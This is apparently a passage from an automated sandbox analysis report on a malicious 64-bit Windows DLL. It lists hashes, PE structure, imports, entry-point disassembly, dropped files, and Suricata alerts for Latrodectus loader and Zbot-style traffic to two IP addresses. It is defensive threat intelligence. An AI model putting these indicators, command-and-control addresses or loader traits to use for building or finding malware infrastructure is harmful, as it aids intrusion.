MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uxax32.tmp

Download File

Process:	C:\Windows\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	modified
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Entropy (8bit):	6.567244418107318
TrID:	Win64 Dynamic Link Library (generic) (102004/3) 86.43% Win64 Executable (generic) (12005/4) 10.17% Generic Win/DOS Executable (2004/3) 1.70% DOS Executable Generic (2002/1) 1.70% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	wait.dll.dll
File size:	2'151'936 bytes
MD5:	50bd4ff60c931861e46c801a60f9e916
SHA1:	13b14fb516fa726cc5fa9af17a2f93ff49449830
SHA256:	f2170f7dc2f97434ef4514ed4272dc8792177038a085f248ba33f9259720afda
SHA512:	a05c4097dca743d0d23a7e3a59fde91576e676a71b38d7daf744d6705ad19b651aac233cc53f0162ca1bbbfe2b8b0b83e58b3b7ac6e7ef66d9b3b43cbc0b48eb
SSDEEP:	24576:JgWryG1z2cMbUhtEx+GRy1tWfxFDIHS4KGwt6nbmBdve1/JznfTWj+bXD:So0lolWfxeHlBwt6n+d21V7Wj+DD
TLSH:	E8A58D297A9885B4D1FAC238C5678A4BF7B278168B31E3CF1256058E1F37BE1453F621
File Content Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$...............................&.......]...........................................................]...Q...............T.......T......

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x1800a7120
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x180000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF
Time Stamp:	0x672BCA40 [Wed Nov 6 19:57:52 2024 UTC]
TLS Callbacks:	0x800c9f80, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	151a05f8c4e108b7847025bc50b7e6b7

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], esi
push edi
dec eax
sub esp, 20h
dec ecx
mov edi, eax
mov ebx, edx
dec eax
mov esi, ecx
cmp edx, 01h
jne 00007F8A08FA0DF7h
call 00007F8A08FA141Ch
dec esp
mov eax, edi
mov edx, ebx
dec eax
mov ecx, esi
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov esi, dword ptr [esp+38h]
dec eax
add esp, 20h
pop edi
jmp 00007F8A08FA0C68h
int3
int3
int3
dec eax
sub esp, 28h
dec ebp
mov eax, dword ptr [ecx+38h]
dec eax
mov ecx, edx
dec ecx
mov edx, ecx
call 00007F8A08FA0E02h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
inc eax
push ebx
inc ebp
mov ebx, dword ptr [eax]
dec eax
mov ebx, edx
inc ecx
and ebx, FFFFFFF8h
dec esp
mov ecx, ecx
inc ecx
test byte ptr [eax], 00000004h
dec esp
mov edx, ecx
je 00007F8A08FA0E05h
inc ecx
mov eax, dword ptr [eax+08h]
dec ebp
arpl word ptr [eax+04h], dx
neg eax
dec esp
add edx, ecx
dec eax
arpl ax, cx
dec esp
and edx, ecx
dec ecx
arpl bx, ax
dec edx
mov edx, dword ptr [eax+edx]
dec eax
mov eax, dword ptr [ebx+10h]
mov ecx, dword ptr [eax+08h]
dec eax
add ecx, dword ptr [ebx+08h]
test byte ptr [ecx+03h], 0000000Fh
je 00007F8A08FA0DFCh
movzx eax, byte ptr [ecx+03h]
and eax, FFFFFFF0h
dec esp
add ecx, eax
dec esp
xor ecx, edx
dec ecx
mov ecx, ecx
pop ebx
jmp 00007F8A08F9FE5Ch
int3
int3
int3
dec eax
mov eax, esp
dec eax
mov dword ptr [eax+08h], ebx
dec eax
mov dword ptr [eax+10h], ebp

Rich Headers

Programming Language:

[ C ] VS2015 UPD3.1 build 24215
[C++] VS2015 UPD3.1 build 24215
[EXP] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1ab180	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1ab1d0	0x118	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x20d000	0x3e2cc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1fd000	0xdfd4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1d0200	0x4c88	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24c000	0x2cdc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x16ff50	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x16ffc0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x140390	0x94	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x131000	0x900	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x1aafa8	0x60	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x12fc72	0x12fe00	cfc1e87d2c63283c44e833408d29ea7f	False	0.4565355370732209	data	6.419366715731773	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x131000	0x7c0fe	0x7c200	a4954081c74d000384bc2efc82edd752	False	0.3351959812437059	data	4.700482926080951	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1ae000	0x4e69c	0x11c00	fabab7297287432bf4e655ca0e30ce47	False	0.1491114656690141	data	4.898674177702867	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1fd000	0xdfd4	0xe000	f990ff2d079ca6021e5f6940d93925f4	False	0.49951171875	data	6.0505498906745006	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.didat	0x20b000	0x50	0x200	e9e220e758f652c0b968858880849ef1	False	0.076171875	data	0.6238134388695525	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x20c000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x20d000	0x3e2cc	0x3e400	adf6a36daa462b6fd89b22a9ce52970a	False	0.9884930346385542	data	7.99706252036296	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x24c000	0x2cdc	0x2e00	c027109eb5c0fa1a20c92ead363b39c0	False	0.26069972826086957	data	5.458036868609607	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
REGISTRY	0x20d200	0x268	ASCII text, with CRLF line terminators	English	United States	0.45616883116883117
REGISTRY	0x20d468	0x1f3	ASCII text, with very long lines (318), with CRLF line terminators	English	United States	0.42685370741482964
REGISTRY	0x20d65c	0x2a6	ASCII text, with CRLF line terminators	English	United States	0.4218289085545723
RT_MANIFEST	0x20d904	0x289	ASCII text, with CRLF line terminators	English	United States	0.5100154083204931
RT_VERSION	0x20db90	0x394	OpenPGP Secret Key	English	United States	0.43777292576419213
RT_VXD	0x20df24	0x3d3a6	data			0.998197695282906

Imports

DLL	Import
RPCRT4.dll	RpcRevertToSelfEx, RpcImpersonateClient
WTSAPI32.dll	WTSUnRegisterSessionNotification, WTSQuerySessionInformationW, WTSRegisterSessionNotification, WTSFreeMemory, WTSEnumerateSessionsW, WTSQueryUserToken
SHLWAPI.dll	StrStrIW, SHDeleteValueW, SHGetValueW, PathFindFileNameW, PathAddBackslashW
USERENV.dll	DestroyEnvironmentBlock, CreateEnvironmentBlock
SETUPAPI.dll	SetupDiOpenDevRegKey, CM_Get_DevNode_Status, SetupDiGetDeviceInstanceIdW, SetupDiGetDeviceRegistryPropertyW, SetupDiGetClassDevsW, SetupDiDestroyDeviceInfoList, SetupDiEnumDeviceInfo
KERNEL32.dll	GetSystemDirectoryW, GetLastError, CloseHandle, GetProcAddress, LocalFree, VerSetConditionMask, GetModuleHandleW, FreeLibrary, VerifyVersionInfoW, LoadLibraryExW, WTSGetActiveConsoleSessionId, lstrcmpiW, SizeofResource, GetFileSizeEx, EnterCriticalSection, GetCurrentProcess, ReleaseSemaphore, WriteFile, ExpandEnvironmentStringsW, LeaveCriticalSection, CreateMutexW, InitializeCriticalSectionEx, WaitForMultipleObjectsEx, WaitForSingleObject, GetCurrentThreadId, ReleaseMutex, CreateToolhelp32Snapshot, MultiByteToWideChar, Process32NextW, OutputDebugStringW, SetEvent, WaitForSingleObjectEx, QueryPerformanceFrequency, Process32FirstW, RaiseException, LoadResource, FindResourceW, DecodePointer, DeleteCriticalSection, WideCharToMultiByte, VirtualAllocExNuma, CreateSemaphoreA, CreateEventA, QueryPerformanceCounter, GetProcessTimes, HeapFree, WaitForMultipleObjects, OpenEventW, HeapSize, CreateEventW, Sleep, lstrcatW, HeapReAlloc, ResetEvent, HeapAlloc, HeapDestroy, GetProcessHeap, DuplicateHandle, GetModuleHandleA, GetCurrentThread, CreateThread, GetTickCount, DeviceIoControl, OpenMutexW, GetCurrentProcessId, ProcessIdToSessionId, GetSystemInfo, GetEnvironmentVariableA, CompareFileTime, FindClose, FindFirstFileW, GetFileAttributesW, GetFileSize, GetLogicalProcessorInformation, LoadLibraryW, FormatMessageW, GetComputerNameExW, GetVersionExW, LockResource, FindResourceExW, TerminateProcess, GetLocaleInfoW, CreateFileW, LocalAlloc, GetModuleFileNameW, GetFullPathNameW, SetLastError, GetModuleFileNameA, RtlPcToFileHeader, RtlUnwindEx, VirtualAlloc, SetStdHandle, GetFileType, GetTimeZoneInformation, ExitProcess, GetModuleHandleExW, ExitThread, FreeLibraryAndExitThread, GetStdHandle, GetDateFormatW, GetTimeFormatW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, ReadFile, GetConsoleMode, ReadConsoleW, GetConsoleCP, FindFirstFileExW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, FlushFileBuffers, WriteConsoleW, SignalObjectAndWait, SwitchToThread, SetThreadPriority, GetThreadPriority, CreateTimerQueueTimer, InterlockedFlushSList, InterlockedPushEntrySList, AreFileApisANSI, MoveFileExW, SetFilePointerEx, SetEndOfFile, RemoveDirectoryW, DeleteFileW, CreateDirectoryW, FormatMessageA, SystemTimeToFileTime, CreateWaitableTimerA, ResumeThread, SetWaitableTimer, OpenEventA, GetCPInfo, LCMapStringW, CompareStringW, TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSectionAndSpinCount, EncodePointer, TryEnterCriticalSection, GetStringTypeW, GetStartupInfoW, IsDebuggerPresent, InitializeSListHead, IsProcessorFeaturePresent, SetUnhandledExceptionFilter, UnhandledExceptionFilter, RtlVirtualUnwind, RtlLookupFunctionEntry, RtlCaptureContext, LoadLibraryExA, VirtualQuery, VirtualProtect, ChangeTimerQueueTimer, DeleteTimerQueueTimer, GetNumaHighestNodeNumber, GetProcessAffinityMask, SetThreadAffinityMask, RegisterWaitForSingleObject, UnregisterWait, GetThreadTimes, VirtualFree, InterlockedPopEntrySList, QueryDepthSList, UnregisterWaitEx, CreateTimerQueue, FindNextFileW
ADVAPI32.dll	RegQueryValueExW, RegDeleteValueW, CreateProcessAsUserW, RegOpenKeyExW, RegDeleteKeyW, RegCloseKey, RegEnumValueW, RegSetValueExW, RegEnumKeyExW, TraceMessage, RegCreateKeyExW, RegQueryInfoKeyW, ConvertStringSecurityDescriptorToSecurityDescriptorW, UnregisterTraceGuids, SetSecurityDescriptorDacl, InitializeSecurityDescriptor, RegNotifyChangeKeyValue, OpenThreadToken, GetTokenInformation, GetTraceLoggerHandle, GetTraceEnableFlags, GetTraceEnableLevel, RegisterTraceGuidsW
ole32.dll	CoCreateInstanceEx, CoSetProxyBlanket, CoUninitialize, CoInitialize, CoInitializeEx, CoResumeClassObjects, CoRegisterClassObject, CoAddRefServerProcess, CoRevokeClassObject, CoCreateInstance, StringFromGUID2, CoTaskMemRealloc, CoTaskMemFree, CoTaskMemAlloc, CoInitializeSecurity
OLEAUT32.dll	VariantInit, VarUI4FromStr, SysFreeString, SysAllocString, VariantClear
bcrypt.dll	BCryptHashData, BCryptFinishHash, BCryptDestroyHash, BCryptGenRandom, BCryptCloseAlgorithmProvider, BCryptSetProperty, BCryptGenerateSymmetricKey, BCryptCreateHash, BCryptVerifySignature, BCryptDestroyKey, BCryptImportKeyPair, BCryptExportKey, BCryptDecrypt, BCryptOpenAlgorithmProvider, BCryptGetProperty, BCryptEncrypt
CRYPT32.dll	CryptDecodeObjectEx, CryptStringToBinaryA, CryptImportPublicKeyInfoEx2
WS2_32.dll	socket, connect, WSAStartup, WSACleanup, WSAGetLastError, getaddrinfo, freeaddrinfo, inet_ntop, closesocket, shutdown, send, recv, ioctlsocket, WSAPoll
IPHLPAPI.DLL	GetAdaptersAddresses

Exports

Name	Ordinal	Address
Jump	1	0x180043c00

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-02T18:44:44.527662+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49907	172.67.217.190	443	TCP
2024-12-02T18:44:44.564697+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	49907	172.67.217.190	443	TCP
2024-12-02T18:44:47.826069+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49916	172.67.217.190	443	TCP
2024-12-02T18:44:48.595493+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	49916	172.67.217.190	443	TCP
2024-12-02T18:44:50.122592+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49922	172.67.217.190	443	TCP
2024-12-02T18:44:50.916155+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	49922	172.67.217.190	443	TCP
2024-12-02T18:44:52.316275+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49928	172.67.217.190	443	TCP
2024-12-02T18:44:53.062424+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	49928	172.67.217.190	443	TCP
2024-12-02T18:44:54.395713+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49934	172.67.217.190	443	TCP
2024-12-02T18:44:56.200694+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49934	172.67.217.190	443	TCP
2024-12-02T18:44:56.200694+0100	2018052	ET MALWARE Zbot Generic URI/Header Struct .bin	1	192.168.2.5	49934	172.67.217.190	443	TCP
2024-12-02T18:44:57.622228+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49941	172.67.217.190	443	TCP
2024-12-02T18:44:59.451375+0100	2018052	ET MALWARE Zbot Generic URI/Header Struct .bin	1	192.168.2.5	49941	172.67.217.190	443	TCP
2024-12-02T18:45:00.747774+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49950	172.67.217.190	443	TCP
2024-12-02T18:45:02.909131+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49950	172.67.217.190	443	TCP
2024-12-02T18:45:02.909131+0100	2018052	ET MALWARE Zbot Generic URI/Header Struct .bin	1	192.168.2.5	49950	172.67.217.190	443	TCP
2024-12-02T18:45:06.326721+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49962	172.67.217.190	443	TCP
2024-12-02T18:45:07.063591+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	49962	172.67.217.190	443	TCP
2024-12-02T18:45:08.104067+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49968	172.67.217.190	443	TCP
2024-12-02T18:45:09.730001+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49972	104.21.68.89	443	TCP
2024-12-02T18:45:12.273213+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	49972	104.21.68.89	443	TCP
2024-12-02T18:45:13.692035+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49980	104.21.68.89	443	TCP
2024-12-02T18:45:15.320865+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	49980	104.21.68.89	443	TCP
2024-12-02T18:45:16.944086+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49986	104.21.68.89	443	TCP
2024-12-02T18:45:18.682230+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	49986	104.21.68.89	443	TCP
2024-12-02T18:45:20.032123+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49995	104.21.68.89	443	TCP
2024-12-02T18:45:21.710515+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	49995	104.21.68.89	443	TCP
2024-12-02T18:45:23.028620+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49999	104.21.68.89	443	TCP
2024-12-02T18:45:23.030742+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	49999	104.21.68.89	443	TCP
2024-12-02T18:45:25.999791+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50000	104.21.68.89	443	TCP
2024-12-02T18:45:27.598658+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50000	104.21.68.89	443	TCP
2024-12-02T18:45:29.818885+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50001	104.21.68.89	443	TCP
2024-12-02T18:45:31.442221+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50001	104.21.68.89	443	TCP
2024-12-02T18:45:32.842132+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50002	104.21.68.89	443	TCP
2024-12-02T18:45:34.469924+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50002	104.21.68.89	443	TCP
2024-12-02T18:45:36.271883+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50003	104.21.68.89	443	TCP
2024-12-02T18:45:37.896126+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50003	104.21.68.89	443	TCP
2024-12-02T18:45:39.471963+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50004	104.21.68.89	443	TCP
2024-12-02T18:45:41.079743+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50004	104.21.68.89	443	TCP
2024-12-02T18:45:42.253111+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50005	104.21.68.89	443	TCP
2024-12-02T18:45:43.549824+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50006	172.67.217.190	443	TCP
2024-12-02T18:45:44.395556+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50006	172.67.217.190	443	TCP
2024-12-02T18:45:45.823624+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50007	172.67.217.190	443	TCP
2024-12-02T18:45:46.753159+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50007	172.67.217.190	443	TCP
2024-12-02T18:45:48.023397+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50008	172.67.217.190	443	TCP
2024-12-02T18:45:48.761904+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50008	172.67.217.190	443	TCP
2024-12-02T18:45:50.330478+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50009	172.67.217.190	443	TCP
2024-12-02T18:45:51.126064+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50009	172.67.217.190	443	TCP
2024-12-02T18:45:52.440877+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50010	172.67.217.190	443	TCP
2024-12-02T18:45:53.206186+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50010	172.67.217.190	443	TCP
2024-12-02T18:45:54.546398+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50011	172.67.217.190	443	TCP
2024-12-02T18:45:55.328247+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50011	172.67.217.190	443	TCP
2024-12-02T18:45:56.708800+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50012	172.67.217.190	443	TCP
2024-12-02T18:45:57.918742+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50012	172.67.217.190	443	TCP
2024-12-02T18:45:59.326069+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50013	172.67.217.190	443	TCP
2024-12-02T18:46:00.102210+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50013	172.67.217.190	443	TCP
2024-12-02T18:46:01.494128+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50014	172.67.217.190	443	TCP
2024-12-02T18:46:02.173598+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50014	172.67.217.190	443	TCP
2024-12-02T18:46:04.165437+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50015	172.67.217.190	443	TCP
2024-12-02T18:46:04.861845+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50015	172.67.217.190	443	TCP
2024-12-02T18:46:06.370230+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50016	172.67.217.190	443	TCP
2024-12-02T18:46:07.192105+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50016	172.67.217.190	443	TCP
2024-12-02T18:46:08.520945+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50017	172.67.217.190	443	TCP
2024-12-02T18:46:09.276616+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50017	172.67.217.190	443	TCP
2024-12-02T18:46:10.558250+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50018	172.67.217.190	443	TCP
2024-12-02T18:46:11.316318+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50018	172.67.217.190	443	TCP
2024-12-02T18:46:12.734711+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50019	172.67.217.190	443	TCP
2024-12-02T18:46:13.425645+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50019	172.67.217.190	443	TCP
2024-12-02T18:46:14.887791+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50020	172.67.217.190	443	TCP
2024-12-02T18:46:15.589493+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50020	172.67.217.190	443	TCP
2024-12-02T18:46:16.974777+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50021	172.67.217.190	443	TCP
2024-12-02T18:46:17.727919+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50021	172.67.217.190	443	TCP
2024-12-02T18:46:19.099577+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50022	172.67.217.190	443	TCP
2024-12-02T18:46:19.944752+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50022	172.67.217.190	443	TCP
2024-12-02T18:46:21.328328+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50023	172.67.217.190	443	TCP
2024-12-02T18:46:22.035396+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50023	172.67.217.190	443	TCP
2024-12-02T18:46:23.410993+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50024	172.67.217.190	443	TCP
2024-12-02T18:46:24.186416+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50024	172.67.217.190	443	TCP
2024-12-02T18:46:25.947534+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50025	172.67.217.190	443	TCP
2024-12-02T18:46:26.713257+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50025	172.67.217.190	443	TCP
2024-12-02T18:46:28.130666+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50026	172.67.217.190	443	TCP
2024-12-02T18:46:28.812293+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50026	172.67.217.190	443	TCP
2024-12-02T18:46:30.327063+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50027	172.67.217.190	443	TCP
2024-12-02T18:46:31.036084+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50027	172.67.217.190	443	TCP
2024-12-02T18:46:32.134919+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50028	172.67.217.190	443	TCP
2024-12-02T18:46:33.626933+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50029	104.21.68.89	443	TCP
2024-12-02T18:46:35.226518+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50029	104.21.68.89	443	TCP
2024-12-02T18:46:36.554216+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50030	104.21.68.89	443	TCP
2024-12-02T18:46:38.187916+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.5	50030	104.21.68.89	443	TCP
